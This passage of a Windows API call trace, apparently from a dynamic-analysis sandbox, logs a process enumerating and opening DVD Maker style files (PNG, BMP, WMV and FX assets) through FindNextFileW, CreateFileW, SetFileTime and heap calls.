ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0066.434] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0066.434] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0066.434] GetLastError () returned 0x12 [0066.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.434] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0066.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.434] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0066.434] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0066.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0066.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.435] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.435] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0066.435] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfc2118 [0066.436] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfc2118, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfc2118, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc2118) returned 1 [0066.436] NtClose (Handle=0x198) returned 0x0 [0066.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.436] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0066.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd3e8 [0066.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbe6b0 [0066.486] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.486] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.486] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.486] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd408 [0066.486] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbe7b8 [0066.486] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 